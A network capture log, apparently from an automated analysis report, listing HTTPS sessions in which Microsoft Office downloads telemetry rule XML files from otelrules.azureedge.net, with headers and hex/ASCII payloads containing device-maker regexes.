Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:01 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:01 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 46a88b53-101e-0017-7e74-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012801Z-16849878b7898p5f6vryaqvp58000000086000000000bd9n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:01 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:01 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:01 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:01 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: de19335b-b01e-0098-4028-2acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012801Z-15b8d89586f8nxpt6ys645x5v000000008m0000000008em3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 01:28:01 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:01 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:01 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:01 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: d73e8916-101e-008d-6973-2792e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012801Z-17c5cb586f6czxsn0m3rnby85400000000q00000000006mb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 01:28:01 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:01 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:01 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2760be74-301e-0096-200b-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012801Z-16849878b78wv88bk51myq5vxc00000007gg00000000tefy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:01 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:02 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:02 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012802Z-15b8d89586fvpb59307bn2rcac00000002fg000000007w2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:02 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:02 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d63b5638-a01e-0021-2ab4-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012802Z-16849878b78j5kdg3dndgqw0vg0000000940000000003ysx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:02 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:02 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:02 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 8e3eac93-d01e-0017-759c-27b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012802Z-15b8d89586fhl2qtatrz3vfkf00000000dm0000000006vfa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:02 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:02 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:02 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: baee9024-801e-00ac-4757-29fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012802Z-17c5cb586f6r59nt869u8w8xt8000000069000000000c1df x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:02 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:02 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:02 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012802Z-15b8d89586fwzdd8urmg0p1ebs0000000k200000000036y4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:02 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:03 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:03 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:03 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012803Z-16849878b785jrf8dn0d2rczaw00000008fg00000000d9fx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:03 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:03 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:03 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:03 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: a783173c-501e-008c-2349-27cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012803Z-16849878b782d4lwcu6h6gmxnw000000071000000000adk2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:03 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:03 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:03 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0ce3105a-501e-0029-7cd2-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012803Z-16849878b78tg5n42kspfr0x48000000077g00000000v5qg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:03 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> 